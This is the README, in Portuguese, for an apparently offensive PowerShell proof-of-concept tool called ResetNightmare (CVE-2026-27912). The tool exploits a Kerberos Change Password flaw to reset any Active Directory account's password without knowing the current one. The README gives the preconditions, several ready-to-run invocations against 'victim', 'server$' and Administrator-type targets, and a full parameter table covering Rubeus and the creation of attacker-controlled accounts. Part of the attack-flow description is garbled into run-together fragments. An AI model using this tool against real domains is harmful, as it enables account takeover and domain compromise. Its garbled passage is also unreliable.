
Ferramenta de POC para ResetNightmare (CVE-2026-27912)
Ferramenta de prova de conceito (POC) para ResetNightmare (CVE-2026-27912).
ResetNightmare é uma falha de validação no protocolo Kerberos Change Password que permite redefinir a senha de qualquer conta de usuário/computador alvo, sem conhecer a senha atual.
O ataque requer um controlador de domínio sem patch e a capacidade de gravar um userPrincipalName (UPN) em qualquer conta que você controle.
Alternativamente, a vulnerabilidade também pode ser explorada por um atacante com a capacidade de criar novos usuários/computadores em qualquer OU, pois criar um usuário/computador permite obter permissões GenericWrite sobre ele.
Este script automatiza todo o fluxo do ataque e faz a limpeza após a execução. O fluxo do ataque é o seguinte:
-CreateNewPath.sAMAccountName do alvo, por exemplo, "Administrator".NT-ENTERPRISE. Este TGT será solicitado ao SPN kadmin/changepw.Tanto contas de usuário quanto contas de computador podem ser alvo.

-RubeusPath.-CreateNewPath).-DC.Use dot-source no script para carregar a função e então chame-a:
. .\ResetNightmare.ps1
Invoke-ResetNightmare `
-TargetAccount "victim" `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "controlledUser" `
-UPNUserPassword "ControlledP@ss!"
Use o sAMAccountName (terminando com $) para -TargetAccount:
Invoke-ResetNightmare `
-TargetAccount 'server$' `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "controlledUser" `
-UPNUserPassword "ControlledP@ss!"
Se você tiver permissão para criar objetos em uma OU/Container, pode especificar o DN da OU/Container usando -CreateNewPath. Quando especificado, -UPNUser e -UPNUserPassword são tratados como as credenciais da conta a ser criada, em vez de uma conta existente no domínio:
Invoke-ResetNightmare `
-TargetAccount "victim" `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "attackerAcct" `
-UPNUserPassword "AttackerP@ss!" `
-CreateNewPath "OU=Temp,DC=demo,DC=lab"
Adicione -Computer para criar/usar uma conta de computador em vez de uma conta de usuário.
AVISO LEGAL
Este conteúdo é fornecido apenas para fins educacionais e informativos. Tem como objetivo promover a conscientização e a remediação responsável de vulnerabilidades de segurança que possam existir em sistemas que você possui ou está autorizado a testar. O uso não autorizado destas informações para fins maliciosos, exploração ou acesso ilegal é estritamente proibido. Os autores não endossam nem toleram qualquer atividade ilegal e se isentam de qualquer responsabilidade decorrente do mau uso do material. Além disso, os autores não garantem a precisão ou a integralidade do conteúdo e não assumem responsabilidade por quaisquer danos resultantes de seu uso.
| Parâmetro | Obrigatório | Descrição |
|---|
-TargetAccount | Sim | O sAMAccountName da conta a ser alvo da redefinição de senha. Certifique-se de incluir o $ final se estiver direcionando uma conta de computador. |
-TargetNewPassword | Sim | A nova senha a ser definida para a conta alvo. |
-UPNUser | Sim | A conta na qual você pode gravar um UPN, ou a conta a ser criada se -CreateNewPath for especificado. |
-UPNUserPassword | Sim | Senha em texto claro para -UPNUser. |
-Computer | Não | Trata -UPNUser como uma conta de computador (e cria uma conta de computador quando combinado com -CreateNewPath). |
-RubeusPath | Não | O caminho para o executável do Rubeus. O padrão é ".\Rubeus.exe". |
-SupportedEncryption | Não | O tipo de criptografia suportado para o TGT. O valor padrão é "AES256" e deve funcionar na maioria dos casos. Se for necessário alterar, os valores suportados são: DES|RC4|AES128|AES256 |
-CreateNewPath | Não | DistinguishedName de uma OU/Container onde você tem permissões para criar objetos. Se especificado, os parâmetros -UPNUser e -UPNUserPassword serão as credenciais do usuário a ser criado, em vez de usar um usuário existente. |
-DC | Não | Nome do DC contra o qual operar. Isso é resolvido automaticamente se não for especificado. |